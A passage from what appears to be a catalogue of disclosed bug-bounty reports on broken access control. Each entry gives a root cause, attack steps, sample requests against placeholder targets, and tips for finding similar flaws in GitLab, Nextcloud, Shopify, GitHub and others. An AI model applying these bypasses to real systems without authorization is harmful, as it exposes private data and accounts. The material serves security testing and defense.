Organization API-key endpoints authorize on membership existence rather than role, so a low-privilege Member (self-invited) can create, view, and delete the organization's private API keys.
Method
- Create victim + attacker accounts; victim creates an org and API keys
- Invite the attacker into the org with the Member role
- As attacker, GET /organization/ORG-UUID/apiKeys (read), DELETE /organization/ORG-UUID/apiKeys/API-UUID (delete)
- Reuse attacker cookies on the original create request to create keys
GET /organization/ORG-UUID/apiKeys
DELETE /organization/ORG-UUID/apiKeys/API-UUID
(POST create with attacker cookies swapped into the owner's create request)
Insight — Invite yourself as the lowest role, then hit every privileged org endpoint and test each CRUD verb -- BFLA where Member is treated like Admin. Enumerate GET/POST/DELETE separately.
Real-world example
Password-protected share bypass via preview/thumbnail endpoint
◆ Medium
Specimen #231917 · nextcloud · awarded · 5 votes · resolved
Program nextcloudSurface web
Root cause
The public preview handler (publicpreview.php) rendered a thumbnail of a password-protected shared file using only the share token, without enforcing the share's password check, letting an unauthenticated attacker reconstruct the file from previews.
Method
- Obtain a password-protected share link and note its 15-char share token
- Log out / use no session
- Call the preview endpoint with the token and large x/y dimensions
- Retrieve a full-size preview of the file with no password prompt; increase x/y to recover the whole image
GET /nextcloud/index.php/apps/files_sharing/ajax/publicpreview.php?x=1024&y=1024&t=SHARE_TOKEN HTTP/1.1
Host: TARGET
# returns preview of the protected file, no password required
Insight — Auxiliary render endpoints (preview, thumbnail, /embed, /export, OCR, PDF-render) frequently skip the auth/password gate the main viewer enforces. Given a share/object token, always test the preview/thumbnail variant directly.
Real-world example
Confidential objects leaked through a related/aggregating API endpoint
◆ Medium
Specimen #134300 · gitlab · none · 5 votes · resolved
Program gitlabSurface api
Root cause
Confidential issues were correctly hidden on their own endpoint but were returned in full (title, description) through a related aggregating endpoint (milestone -> issues) that failed to re-apply the confidentiality/authorization filter (CVE-2016-4340).
Method
- Identify a resource with a visibility/confidential flag (issues)
- Find a related/aggregating endpoint that lists those resources (milestones/issues, labels/issues, boards)
- Request the aggregator as a low-priv user and check whether it includes objects hidden on the primary endpoint
# list milestones
curl -H "PRIVATE-TOKEN: TOKEN" https://TARGET/api/v3/projects/1/milestones
# then pull issues via the milestone -> includes confidential issues
curl -H "PRIVATE-TOKEN: TOKEN" https://TARGET/api/v3/projects/1/milestones/3/issues
Insight — Authorization is often enforced on an object's own endpoint but forgotten on related/aggregating endpoints (milestone->issues, label->issues, board->cards, search). For any object with a private/confidential flag, enumerate every collection that can include it and check for leakage.
Real-world example
Hidden-from-menu billing page reachable by direct URL (forced browsing)
◆ Medium
Specimen #946384 · rockset · none · 5 votes · resolved
Program rocksetSurface web
Root cause
Authorization was enforced only by hiding the billing link from a low-privilege member's menu; the route itself lacked a server-side permission check, so navigating directly to the URL exposed billing/payment data.
Method
- Create an org admin, invite a low-priv member
- Log in as the member; note billing is absent from the menu
- Browse directly to /billing?tab=payment
- Page loads with payment/billing info instead of returning forbidden
https://console.rockset.com/billing?tab=payment
Insight — UI hiding is not access control. Enumerate privileged/hidden routes from the admin role and replay them as each lower role; any that render instead of 403 is a broken-access-control finding.
Real-world example
Backdoor via stale mirror_user relationship persisting after mirror deletion
◆ Medium
Specimen #819821 · gitlab · USD 3000 · 4 votes · resolved
Program gitlabSurface web
Root cause
GitLab keeps project.mirror_user set even after the mirror is removed. The 'you can only assign yourself as mirror user' rule is enforced against a default set that still includes the stale mirror_user, so another maintainer can create a new pull mirror authored as a different (permanent) user.
Method
- As maintainer A, create then delete a pull mirror (leaves project.mirror_user = A).
- As a different maintainer B, open Mirroring settings and create a new pull mirror.
- B can set the mirror user to A (not just self), so B's mirrored/pushed commits are authored/authorized as A even after B is removed.
# valid_mirror_user? allows [current_user, project.mirror_user]; mirror_user persists post-delete
mirror_user_id = <permanent_maintainer_id> # accepted for a different acting maintainer
Insight — Look for object relationships that outlive the feature that created them. A dangling foreign-key (mirror_user, owner, integration account) that stays queryable can re-enable a privileged binding and act as a persistence backdoor.
Real-world example
CSRF token misused as authorization -> unauthenticated access to admin-only script
◆ Medium
Specimen #1081137 · impresscms · none · 4 votes · resolved
Program impresscmsSurface web
Root cause
findusers.php grants access if EITHER the user is admin OR a valid security token is supplied. The token is a CSRF/anti-replay token, not an authorization credential, and valid tokens are minted on unauthenticated pages (e.g. misc.php), so any anonymous user can harvest a token and reach the otherwise admin-only user-search functionality.
Method
- Confirm /include/findusers.php denies anonymous access.
- Load an unauthenticated page that emits a token (/misc.php?action=showpopups&type=friend) and copy XOOPS_TOKEN_REQUEST from the HTML.
- Request /include/findusers.php?token=<TOKEN> to access the user-search and enumerate usernames/real names.
# grab token from an unauth page, then:
GET /include/findusers.php?token=THE_TOKEN_FROM_misc.php
Insight — Watch for authorization logic of the form 'admin OR valid_token'. CSRF tokens prove request intent, not identity/role; if any unauthenticated view issues the same token, it becomes an auth bypass. Grep the codebase for token-issuing calls on public pages.
Real-world example
Static-server ignore-rule bypass via URL-encoded leading char
◆ Medium
Specimen #453820 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
harp hides files/dirs whose name starts with '_' by string-matching the decoded-vs-served name inconsistently. URL-encoding the leading underscore (%5F) evades the ignore filter but the OS still resolves the real file, serving 'hidden' partials/config.
Method
- Identify files the server claims to hide by naming convention (leading _, dotfiles).
- Request the file normally -> 404.
- Percent-encode the first character (_ -> %5F) and request with --path-as-is -> file served.
curl --path-as-is 0.0.0.0:9000/_secret.txt # 404 (ignored)
curl --path-as-is 0.0.0.0:9000/%5Fsecret.txt # 200 -> 'secret text'
Insight — Any deny/ignore list that matches on the raw request path before normalization is bypassable by encoding (%5F, %2E, double-encoding, mixed case). Always retest blocked paths with each character percent-encoded and with --path-as-is.
Real-world example
WAF/path-normalization bypass via extra/trailing slashes (WP user enum)
◆ Medium
Specimen #743643 · deptofdefense · none · 4 votes · resolved
Program deptofdefenseSurface webChain WAF bypass -> WP REST user enumeration
Root cause
Firewall rules match exact paths but the app normalizes them, so inserting a duplicate slash or trailing slash produces a path the WAF doesn't block yet the backend still routes, re-exposing endpoints locked behind 403.
Method
- Collect endpoints returning 403 (wp-json/wp/v2/users, wp-login.php, ?action=lostpassword).
- Retry with a duplicated internal slash (//users) or a trailing slash (wp-login.php/).
- If it returns 200, harvest the data (WP REST /users leaks author id/name/slug).
GET /wp-json/wp/v2/users -> 403 Forbidden
GET /wp-json/wp/v2//users -> 200 OK (author enumeration JSON)
GET /wp-login.php -> 403
GET /wp-login.php/ -> 200 (GET only; POST still blocked)
Insight — Against WAF/CDN 403s, mutate the path: extra slash, trailing slash, ./, %2e, case, ;/. Backends normalize differently than the rule engine. WP /wp-json/wp/v2/users is a reliable username-enumeration sink once reachable.
Real-world example
Open self-registration + missing function-level authz on an admin user-management page
◆ Medium
Specimen #900137 · deptofdefense · none · 3 votes · resolved
Program deptofdefenseSurface webChain open registration -> unrestricted admin user list -> bTag account-takeover
Root cause
Any visitor can self-register, and the resulting low-privilege account can reach the Administration -> User -> Users page, which lists (and exports as PDF/CSV/XLS) every member's PII because the admin function is not restricted server-side.
Method
- Self-register via 'Request New Account' on the public portal.
- After login, browse directly to the admin path (Administration -> User -> Users).
- Observe the full member list (names, emails, phone, CAC User IDs) and the export buttons.
- Confirm the data exports (PDF/CSV/XLS) work for a non-admin session.
# after registering and logging in, request the admin listing directly:
GET /admin/users (Administration -> User -> Users)
# regular-user session returns all members' PII + export as pdf/csv/xls
Insight — When registration is open to the internet, every admin/staff function becomes a BFLA target. Force-browse to admin routes and 'export' actions with a freshly-registered account; missing server-side role checks turn a signup form into a bulk PII exfiltration tool.
Real-world example
Admin-to-owner BFLA on owner-only API endpoints
◆ Medium
Specimen #46747 · x · awarded · 3 votes · resolved
Program xSurface api
Root cause
Functions restricted to the team owner in the UI (change owner-only prefs, add billing contacts) are not re-checked server-side, so a lower team-admin token can call the API directly to perform them.
Method
- Log in as team admin (not owner)
- Call the owner-only API endpoint directly with the admin's token
- The privileged setting/action is applied
POST /api/team.prefs.set HTTP/1.1
Host: <team>.slack.com
Content-Type: application/x-www-form-urlencoded
prefs=%7B%22require_at_for_mention%22%3Atrue%7D&token=xoxs-xxxxx&set_active=true
# variant: POST /api/team.billing.addContact email=hacker@hacker.com&token=xoxs-...
Insight — Enumerate admin/owner-only actions from the UI, then invoke the underlying API with a lower-role token. Function-level auth (BFLA) is frequently enforced only by hiding the button, not by the API.
Real-world example
Read-only role can edit records via direct PUT (missing object-level auth)
◆ Medium
Specimen #118731 · security · none · 3 votes · resolved
Program securitySurface api
Root cause
A user in a Read-only permission group can PUT to the activities endpoint and edit another actor's activity (e.g. a SwagAwarded message) because the write is not gated by the caller's permission/authorship.
Method
- As a Read-only group member, capture an activity's id from a bug report
- Send PUT /activities/<id> with a modified JSON body
- 200 OK returns the edited activity though the role is read-only
PUT /activities/812406 HTTP/1.1
Content-Type: application/json
X-Requested-With: XMLHttpRequest
{"id":812406,"type":"Activities::SwagAwarded","message":"edited by read-only user","markdown_message":"<p>edited</p>"}
Insight — Read-only/limited roles must be tested against WRITE verbs directly. UIs hide edit controls but the PUT/PATCH/DELETE endpoint may not check the caller's role or ownership of the record.
Real-world example
UI-only security control bypassed via API: 'locked forever' secret still returned by Conduit query
◆ Medium
Specimen #139626 · phabricator · awarded · 2 votes · resolved
Program phabricatorSurface api
Root cause
A protection ('Lock Permanently — secret hidden forever') is enforced only in the web UI; the underlying API (Conduit passphrase.query with needSecrets=true) has no equivalent check, so the same unprivileged user retrieves the supposedly-hidden private keys.
Method
- Create a credential and click 'Lock Permanently'
- Enable Conduit API access for the same account
- Call passphrase.query with needSecrets=true / needPublicKeys=true
- Receive the locked credential's private key in the JSON response
POST /api/passphrase.query HTTP/1.1
Host: phabricator.example.com
Content-Type: application/x-www-form-urlencoded
__csrf__=...&__form__=1&__dialog__=1&__submit__=true&__ajax__=true&needPublicKeys=true&needSecrets=true
# -> {"result":{"data":{..."material":{"privateKey":"-----BEGIN RSA PRIVATE KEY-----..."}}}}
Insight — Whenever a UI enforces a restriction (locked, hidden, read-only, disabled), hit the same object through the API/GraphQL/mobile backend directly. Security controls implemented at the presentation layer are routinely absent in the data layer. Set every 'include secret/expand' flag the API offers.
Real-world example
IP-whitelist bypass by spoofing X-Forwarded-For
◆ Medium
Specimen #693788 · nodejs-ecosystem · none · 2 votes · resolved
Program nodejs-ecosystemSurface webChain XFF spoof -> IP whitelist bypass -> authorization bypa
Root cause
An IP allowlist authorization middleware derives the client IP from the client-controllable X-Forwarded-For header, so an attacker sets it to a whitelisted address to pass the check and reach protected/sensitive resources.
Method
- Confirm a protected route returns 403 from a non-whitelisted IP
- Add X-Forwarded-For with a whitelisted/loopback value
- Re-request and receive the protected response
curl 'http://target/' # 403 forbidden
curl 'http://target/' -H 'X-Forwarded-For: 127.0.0.1' # 200 -> secret content
Insight — Never trust XFF / X-Real-IP / X-Client-IP / Forwarded for security decisions — they are attacker-controlled unless a trusted proxy strips them. Test every IP-gated feature (admin panels, internal endpoints, geo/rate limits, lockout counters) by injecting/rotating these headers with 127.0.0.1, internal ranges, and the app's own egress IP.
Real-world example
Missing ACL on getRoomRoles leaks private channel members (CVE-2022-35247)
◆ Medium
Specimen #1447440 · rocket_chat · none · 2 votes · resolved
Program rocket_chatSurface web
Root cause
getRoomRoles Meteor method validates rid is a String but never checks the caller has access to that room, so any client can enumerate members with special roles (owner/moderator) of arbitrary private channels.
Method
- Obtain a target Room ID (rid)
- Call getRoomRoles with that rid as an unprivileged or anonymous client
- Read back the privileged members of the private channel
Meteor.call("getRoomRoles", "<TARGET_ROOM_ID>", console.log);
Insight — Type-checks are not authorization. On RPC/Meteor/GraphQL resolvers, test every object-fetching method with an ID you shouldn't be able to read; missing per-resource ACL is common where input validation exists but ownership checks don't.
Real-world example
Server-side source disclosure via .txt twin + unauthenticated admin form writing to DB
◆ Medium
Specimen #204996 · deptofdefense · none · 1 votes · resolved
Program deptofdefenseSurface webChain unauth admin form (DB write) + .txt source disclosure of han
Root cause
An admin ASP form (jobinput.asp) is reachable unauthenticated and inserts records into the backing Access DB; additionally each .asp has a sibling .txt copy served as plain text, disclosing the full server-side source (queries, DB structure) to any unauthenticated user.
Method
- Browse the unauthenticated admin form at /html/sql/jobannouncement/jobinput.asp and submit records that persist into the database.
- Request the same path with .txt extension (jobinput.txt, jobconf.txt) to read the raw server-side source code, revealing the Access DB logic and injection points.
GET /html/sql/jobannouncement/jobinput.asp # unauth create form
GET /html/sql/jobannouncement/jobinput.txt # source-code disclosure
GET /html/sql/jobannouncement/jobconf.txt # confirm handler source
Insight — Always probe for source-file twins by swapping/appending extensions (.txt/.bak/.old/.src/~) on dynamic pages — mis-mapped handlers serve server code as text, leaking logic and further vulns. Separately, unauthenticated admin/write forms are a direct broken-access-control finding (unbounded DB inserts -> data integrity/DoS).
Real-world example
Bypassing folder deny-permissions via sync-client rename
◆ Medium
Specimen #642515 · nextcloud · awarded · 172 votes · resolved
Program nextcloudSurface webTag account-takeover
Root cause
Advanced group-folder permissions (deny read/write/delete on a subfolder) are enforced in the web UI, but the desktop sync client can create a local folder and rename it to match the denied folder's name, causing the server to overwrite the protected folder and its contents (CVE-2020-8153).
Method
- Admin denies all perms on subfolder 'invisible' for the test group
- As a denied user, the folder isn't visible/creatable via UI
- In the sync client create folder 'temp' with a file, let it sync
- Rename 'temp' to 'invisible' -> syncs and overwrites the original protected folder
Insight — Permission models enforced by the primary UI are often bypassable through an alternate client (sync/desktop/mobile/WebDAV) that reaches the same storage via a different code path (create-then-rename). Always test object permissions through every access channel.
Real-world example
WebDAV copy of a shared file clones the owner's entire data directory
◆ Medium
Specimen #258084 · nextcloud · awarded · 154 votes · resolved
Program nextcloudSurface webTag file-upload
Root cause
A file shared into user B is exposed over WebDAV as a symlink/handle to the owner's storage; copy-pasting it dereferences the share root and duplicates the owner's whole file tree instead of the single file.
Method
- User A shares movie.mp4 with user B
- User B mounts the share over WebDAV (nautilus/foldersync)
- Copy the shared file and paste into the same folder
- A new folder '(1)movie.mp4' appears containing all of user A's data (files, files_trashbin, cache)
Insight — When a platform exposes shared objects over a secondary protocol (WebDAV/S3/API), test copy/move/clone operations - they often operate on the underlying storage root, not the shared item, leaking the whole source container.
Real-world example
Private GraphQL persisted-query BOLA + timing oracle to brute IDs
◆ Low
Specimen #885539 · x · awarded · 345 votes · resolved
Program xSurface graphqlChain BOLA on ListMembers + timing oracle + broken sibling-API ratTag graphql
Root cause
A stored/persisted GraphQL operation (ListMembers, queryId iUmNRKLdkKVH4WyBNw9x2A) returns members of a List without checking whether the List is private; the object ID (snowflake) is brute-forceable and an x-response-time header leaks a 10-20ms difference between existent-private vs non-existent IDs.
Method
- Harvest persisted queryIds/endpoint-name pairs from web/Android/Tweetdeck JS (Wayback Machine for historical bundles)
- POST queryId + variables to /graphql (endpoint name not required)
- Iterate ListMembers with candidate list IDs; private lists return members
- When direct rate limits block brute force, pivot to a non-rate-limited API using the same ID and use x-response-time timing to confirm valid private IDs
GET /graphql/iUmNRKLdkKVH4WyBNw9x2A/ListMembers?variables=%7B%22listId%22%3A%22<SNOWFLAKE>%22%2C%22count%22%3A20%7D
Insight — Persisted-query GraphQL isn't a security boundary: enumerate every queryId from current+historical client bundles, replay each, and drill into ones lacking privacy checks. When rate limits stop you, chain a side channel (response-time header, differential status) on a sibling endpoint that shares the object ID space.
Real-world example
Permission-revocation TOCTOU: intercept, revoke, replay still succeeds
◆ Medium
Specimen #273099 · shopify · awarded · 145 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
Authorization is bound to a session established before revocation; revoking a staff/partner permission does not invalidate existing admin sessions or in-flight requests, so a captured request replays successfully.
Method
- As a staff member with 'manage shops', open an app action (e.g. delete template) and intercept the request, hold it
- Revoke your own 'manage shops' permission in the partner dashboard
- Send the held request - it still executes despite lost permission
Insight — When testing permission changes, keep an authenticated request in Repeater, remove the permission, then replay: many apps check permission only at session/login time, not per-request. Also embedded-app sessions outlive admin-session logout.
Real-world example
Re-share escalates granted permission beyond original grant (CVE-2020-8223)
◆ Medium
Specimen #889243 · nextcloud · awarded · 92 votes · resolved
Program nextcloudSurface webChain readonly share -> re-share -> add write -> read-wriTag account-takeover
Root cause
A file shared to user B as read-only (but with re-share permission) could be re-shared by B to user C with write permission added, because the re-share flow did not clamp the child share's permissions to the parent share's, allowing privilege to grow across the share chain.
Method
- User A shares a file to B with re-share allowed but read-only.
- User B re-shares to C (works with shareapi_default_permissions=1).
- B adds write permission on the re-share; C (even an anonymous link) gets write access to files that were only read-only upstream.
Insight — In any delegated sharing/permission-inheritance model, verify child grants are clamped to the parent's rights. Re-share, sub-invite, and delegation flows are classic spots where a readonly grant silently becomes read-write.
Real-world example
Revoked-integration token not re-validated (suspended App keeps access)
◆ Medium
Specimen #2484635 · github · awarded · 88 votes · resolved
Program githubSurface apiTag account-takeover
Root cause
A GitHub App that has been suspended on an installation can still access the repo through an already-issued scoped user-to-server token, because the token's authorization isn't re-checked against the app's current suspension state (exploitable on public repos). CVE-2024-5816.
Method
- Install a GitHub App and mint a scoped user-to-server token
- Have the installation suspended
- Continue using the previously issued scoped token against public repo endpoints
- Access still succeeds despite suspension
Insight — Suspension/revocation of an app/integration must invalidate already-issued tokens, not just block new grants. Audit: after revoking an OAuth app / API key / installation, replay outstanding tokens to see if access-state is re-evaluated per request.
Real-world example
Stale authorization: private data readable after access revoked
◆ Medium
Specimen #2278865 · security · USD 50 · 84 votes · resolved
Program securitySurface web
Root cause
After a user's access to a private program expired/was removed, a secondary surface (My Programs / favorites view) still returned confidential program stats (domain count, bounties paid, hacker count, response efficiency, reward range).
Method
- Gain access to a private program and add it to favorites / My Programs
- Let access expire or be revoked (can no longer view the policy page)
- Navigate to the favorites/My Programs listing
- Observe confidential program stats still rendered there
Insight — Test authorization on EVERY surface that references a resource, not just the primary page. After revoking/expiring access, re-check favorites, caches, exported lists, notifications, and secondary listings - they frequently retain data the main view now blocks.
Real-world example
Program 'viewer' role over-subscribes to private draft reports
◆ Medium
Specimen #2552205 · security · 2500 · 64 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
Granting a user the low-privilege 'viewer' role auto-subscribes them to draft (not-yet-submitted) reports, so they receive notifications and can read draft title, comments, and creation time via the GraphQL response - mass draft disclosure in large programs.
Method
- Get added as a viewer to a program
- Observe notifications fired for every comment on any draft report
- Read leaked draft metadata/comments from the notification/GraphQL response
Insight — When reviewing role/permission models, check what a NEW low role is implicitly subscribed to, not just what it can click. Notification pipelines and GraphQL often leak objects (drafts, internal comments) the role should never see. (Details from program summary; body limited-disclosure.)
Real-world example
Access private objects by adding their IDs to an attacker-controlled container
◆ Medium
Specimen #1737943 · flickr · awarded · 59 votes · resolved
Program flickrSurface web
Root cause
An 'add item to group/collection' operation validates the caller's membership in the container but not their rights over the item being added, so adding another user's private photo ID to a group the attacker belongs to grants view access via the group.
Method
- Obtain the photo IDs of non-public photos (leaked/guessed elsewhere)
- Run an upload/add batch to a Flickr group you are a member of, referencing those foreign photo IDs
- Access the now group-visible private photos through your membership
Insight — Association endpoints (add-to-group, add-to-album, share-to-collection, add-to-project) are ACL-bypass primitives: access is often granted by container membership, and item ownership is not re-checked when the item is attached. Test by attaching a second account's private object ID to your own container.
Real-world example
Missing permission check on domain-transfer action
◆ Medium
Specimen #1820953 · shopify · awarded · 57 votes · resolved
Program shopifySurface web
Root cause
A high-impact action (transfer a Shopify-managed domain to an external provider) is documented as store-owner-only, but the backend does not verify the 'Transfer domain to another Shopify store' permission or owner status before issuing the domain authorization code.
Method
- Create a staff account without the domain-transfer permission
- Settings > Domains > pick a Shopify-managed domain
- Transfer domain > Transfer to another provider > Confirm
- Receive the domain authorization/auth code and complete transfer at another registrar
Insight — When docs say an action is owner-only, test it directly with a least-privileged staff role; permission gating is frequently only in the UI, not enforced on the action that mints the transfer/auth code.
Real-world example
Access not revoked after leaving a program/role
◆ Medium
Specimen #386997 · security · awarded · 57 votes · resolved
Program securitySurface web
Root cause
A UI change re-exposed private program policy pages to users who had already left those programs; membership was removed but the resource authorization check did not honor the revocation.
Method
- Join (or get invited to) a private resource and note its private URLs.
- Leave the program / have the role removed.
- Re-request the previously private pages; confirm content is still served.
Insight — Whenever access is revoked (leave program, removed collaborator, downgraded role, deleted membership), re-request the old private URLs. Revocation bugs are common after UI/permission refactors and are easy to demonstrate by keeping the old links.
Real-world example
Disabled UI control is client-side only; action succeeds server-side
◆ Medium
Specimen #3101986 · dust · none · 54 votes · resolved
Program dustSurface web
Root cause
Write actions in restricted spaces are hidden/disabled only in the UI (the button looks disabled but stays interactive); the backend performs no role check, so a low-privileged member can add documents (3101986) or create tables (3101858) in restricted spaces.
Method
- Log in as a low-privileged member
- Open a space/folder where write actions should be forbidden
- Click the visually-disabled 'add documents' / 'add data' button (still interactive)
- Complete the action; it saves despite the missing permission
Insight — A greyed-out/disabled button is a client-side hint, not enforcement. Force-click disabled controls (or replay their request) and confirm the server rejects them; restricted-space write actions are a recurring gap.
Real-world example
Members/Triage can edit supposedly-immutable original report post
◆ Medium
Specimen #2096271 · security · none · 49 votes · resolved
Program securitySurface web
Root cause
The 'edit information' action on a report's original post was authorized for program members and Triage even though the body is meant to be immutable after 20 minutes and editable only by the author.
Method
- Open any report (disclosed or not)
- Click 'edit information' on the original post
- Modify and save; the change persists without transparency
Insight — For 'immutable-after-time' or author-only content, enumerate which secondary roles (staff, triage, collaborators) still expose the edit/delete function - function-level authz often keys on team membership, not on the immutability rule.
Real-world example
View-only/no-download restriction bypassed by zipping the folder
◆ Medium
Specimen #2247457 · nextcloud · none · 40 votes · resolved
Program nextcloudSurface webTag file-upload
Root cause
Download-prevention (view-only share) is enforced on direct file/folder download but not on the server-side archive endpoint; requesting a zip of the parent folder packages and returns the restricted files.
Method
- Get a folder shared as view-only (no download).
- Confirm direct download of the folder is blocked.
- Go one level up and request compression/download of the whole folder as a zip; extract locally.
Insight — 'No download' controls usually only cover the obvious download button. Test archive/zip, export, WebDAV, thumbnail/preview at full-res, and 'open in app' paths - these bypass view-only restrictions.
Real-world example
Step-up OTP enforced only in UI, bypassed by direct endpoint access
◆ Medium
Specimen #1948506 · lark_technologies · awarded · 38 votes · resolved
Program lark_technologiesSurface webTag account-takeover
Root cause
An OTP/identity-verification step gating sensitive admin-log download is enforced only on the UI flow; navigating directly to the download endpoint skips the OTP check.
Method
- Trigger the protected feature normally and note the final download/action endpoint.
- Directly request that endpoint without completing the OTP step.
Insight — Step-up auth (OTP, re-password, MFA) is frequently a front-end gate only. Capture the endpoint that runs AFTER the OTP prompt and replay it without the OTP to test server-side enforcement.
Real-world example
Stale relationship-based permission: staff retains access after customer leaves company
◆ Medium
Specimen #2855610 · shopify · awarded · 35 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
Staff scoped to a company's customers keep read/write access to a customer's personal profile after the customer is removed from that company, because access is grandfathered by the historical order/company link rather than re-evaluated against current membership.
Method
- Invite staff with Companies>View restricted to assigned company locations/customers
- Assign a customer to a company and place a company order for them
- Remove the customer from the company
- Have the customer place a personal order with a new address
- As the restricted staff, view the customer tab: customer PII and edit ability are still present
Insight — Test permission revocation as a lifecycle event: after a user/customer/asset is removed from a group, re-check every access that the removed relationship used to grant. Systems that gate on a historical link (an old order/company tie) instead of current membership leak access.
Real-world example
Forged identity-scoped control message causes targeted DoS of other players
◆ Medium
Specimen #3813932 · nintendo · awarded · 31 votes · resolved
Program nintendoSurface network
Root cause
The NplnLogin control message (normally only ever sent to one's own NPLN user id to prevent multi-console login) could be forged and addressed to other users' ids, or to a Pool, because the server did not validate that the message's recipient is the sender's own id.
Method
- Understand the NplnLogin message that disconnects a user's other console sessions
- Forge the message addressed to a victim NPLN user id (or a Pool of online players)
- Send it, causing the victim(s) to receive a communication error and disconnect
- Repeat rapidly to keep victims from staying online
Insight — Control/notification messages designed to only ever target the sender's own identity are a strong access-control test: forge the recipient id to another user or a broadcast group. Missing server-side 'recipient == self' validation yields targeted or mass DoS.
Real-world example
User-to-server token writes to any public repo (installation read-perm confused for token grant)
◆ Medium
Specimen #3641229 · github · awarded · 30 votes · resolved
Program githubSurface apiTag oauthTag account-takeover
Root cause
Authorization for a GitHub App user-to-server token only verified the installation had read permission on the target repo, not that the token's installation was explicitly granted access to that repo, so a global app's token could write to repos outside its scope.
Method
- Obtain a victim's user-to-server token scoped to a GitHub App installation
- Call write endpoints (create issue, issue comment, commit comment, private vuln report) against an arbitrary public repo the app was never installed on
- Actions execute as the victim user with no indication the app was involved
- Fix added an explicit repository-scope check for tokens from global apps
Insight — For OAuth/App token authz, always separate 'can this principal READ the resource' from 'was this token explicitly GRANTED this resource'. Public-read visibility must never be mistaken for a write grant. Probe token-scoped write actions against out-of-installation public resources.
Real-world example
Restricted (paywalled) content leaked via alternate render path
◆ Medium
Specimen #2063636 · x · awarded · 29 votes · resolved
Program xSurface web
Root cause
Subscriber-only tweet content and attached images are access-controlled on the main timeline view but returned in full through the 'quotes' view, which fails to re-apply the subscription check.
Method
- Find a subscriber-only post you cannot see on the main view
- Open the quotes/related view of that post
- Read the hidden text and extract attached images
Insight — For any gated/premium content, enumerate every alternate surface that renders it: quotes, embeds, oEmbed, notifications, search, mobile/GraphQL endpoints. Authorization is often enforced on the primary view only.
Real-world example
Stale permission: downgraded user keeps private security-dashboard access
◆ Medium
Specimen #853355 · gitlab · awarded · 24 votes · resolved
Program gitlabSurface webTag account-takeover
Root cause
Access to a resource is granted when a user adds it to a personal view, but revoked permission is not re-checked on subsequent reads. A user who was once a maintainer keeps seeing new private-project security findings after being downgraded to guest.
Method
- User B is added to A's private project as maintainer
- B adds the project to their personal Security Dashboard
- A downgrades B to guest (guests cannot open the project's security dashboard directly)
- B still views old AND new vulnerabilities, files and dependencies via their own Security Dashboard
Insight — When testing multi-tenant apps, subscribe/pin/favorite a resource at high privilege, then get demoted and re-check every personal aggregation view (dashboards, feeds, saved searches). Authorization is often enforced on the resource page but not on the cached personal view that references it.
Real-world example
Permission bypass via 'Move to' feature (create in own project, move into target)
◆ Medium
Specimen #1112297 · gitlab · 600 · 21 votes · resolved
Program gitlabSurface web
Root cause
An action restricted by role in project A is not re-authorized when an object is migrated into project A; the user performs the restricted action (upload a Design) in their own project where they are owner, then uses Move-to to carry it into the target project where their role (Reporter) forbids it.
Method
- As Reporter in target private project, create your own new project (you are owner)
- Create an issue there and upload a Design (allowed because you own the project)
- Use the issue 'Move to' feature and pick the target private project
- The design is migrated in, bypassing the Developer-only design-upload restriction
Insight — Test every 'move/transfer/copy/import' feature as a permission-laundering vector: do a privileged action where you're allowed, then move the object where you aren't. Object migration frequently skips re-checking per-destination permissions.
Real-world example
Authorization cached at login; deauthorized user keeps access
◆ Medium
Specimen #245833 · gsa_bbp · awarded · 16 votes · resolved
Program gsa_bbpSurface webTag account-takeover
Root cause
Org membership is checked only once at login; a user removed from the GitHub org (or with saved session cookies) retains full app privileges until they log out, because permissions are never re-validated.
Method
- Add a user to the org, have them log in to the app
- Remove the user from the org
- With the existing session they can still create/delete sites
Insight — Test that revoking a role/org membership immediately kills active sessions; apps that snapshot authorization at login leave a persistence window (esp. with exported session cookies).
Real-world example
Media session not torn down on removal - removed guest keeps receiving A/V
◆ Medium
Specimen #1706248 · nextcloud · none · 15 votes · resolved
Program nextcloudSurface web
Root cause
Removing a guest from a conversation updates participant state/UI but the signaling backend (HPB) does not terminate the guest's existing media session, so the guest continues to auto-establish connections and receive video/audio from later calls while invisible to others.
Method
- Set up the high-performance/signaling backend and a public conversation.
- Join as a guest and start a call.
- From the owner window, remove the guest during the call, then start a new call.
- The removed guest's UI still shows the call and receives streams from new participants, unseen by them.
Insight — Access-control changes on stateful/real-time channels must actively kill live sessions, not just update the roster. For WebRTC/websocket/streaming apps, test whether revoking access mid-session actually disconnects the existing socket/peer connection - stale sessions are a common privacy bypass. CVE-2022-41971.
Real-world example
External-storage masking via name collision shadows admin-shared mount
◆ Medium
Specimen #165229 · nextcloud · awarded · 14 votes · resolved
Program nextcloudSurface web
Root cause
Shared external storages are keyed/displayed by name without disambiguation. A low-privileged user creates their own external storage with the identical name and shares it to the same group, so co-group victims see the attacker's storage instead of the admin's legitimate one.
Method
- Admin creates external storage 'localstrg' shared to a group
- Attacker (same group) creates a different-backend external storage with the same name 'localstrg' and shares it to that group
- Victim in the group opening 'localstrg' is silently served the attacker's storage, not the admin's
Insight — Where a shared resource is identified to end users by a mutable, non-unique name, test whether a lower-privileged user can create a same-named resource to shadow/hijack the trusted one (phishing/credential capture on the masked mount).
Real-world example
Stale project access survives group removal after role change
◆ Medium
Specimen #310185 · gitlab · awarded · 13 votes · resolved
Program gitlabSurface webTag account-takeover
Root cause
Group membership and per-project role grants are stored independently; revoking the group membership does not cascade to project-level roles the user acquired separately, leaving orphaned access.
Method
- Get added to a private group with many projects
- Change (or get promoted/demoted to) a per-project role on some projects
- Get removed from the group
- Confirm you still have access to the projects where a project-level role was set
Insight — When a platform has both container-level (group/org/team) membership and object-level (project/repo) roles, test whether removing the container membership actually revokes object grants. Orphaned per-object roles are a recurring access-control gap.
Real-world example
Editing an invited member's display name mutates the target user's real global profile
◆ Medium
Specimen #244567 · wakatime · none · 13 votes · resolved
Program wakatimeSurface web
Root cause
When inviting a user by email into a leaderboard/team, the 'member fullname' field is not a local label but writes to the invited user's actual account profile, so any authenticated user can silently change another user's global fullname.
Method
- Create a leaderboard/team and invite the victim by email, supplying an arbitrary fullname
- In the members panel, use the edit icon on the victim's entry and set a new name
- Log in as the victim: their global account fullname is now the attacker-set value
Insight — Where a group/team invite lets you set a display name for another user, verify whether that field is a local alias or writes to the target's real profile. Trust-boundary confusion between 'membership label' and 'user record' lets low-priv users mutate others' account data.
Real-world example
Federated public-link share triggers trusted-server user-list leak
◆ Medium
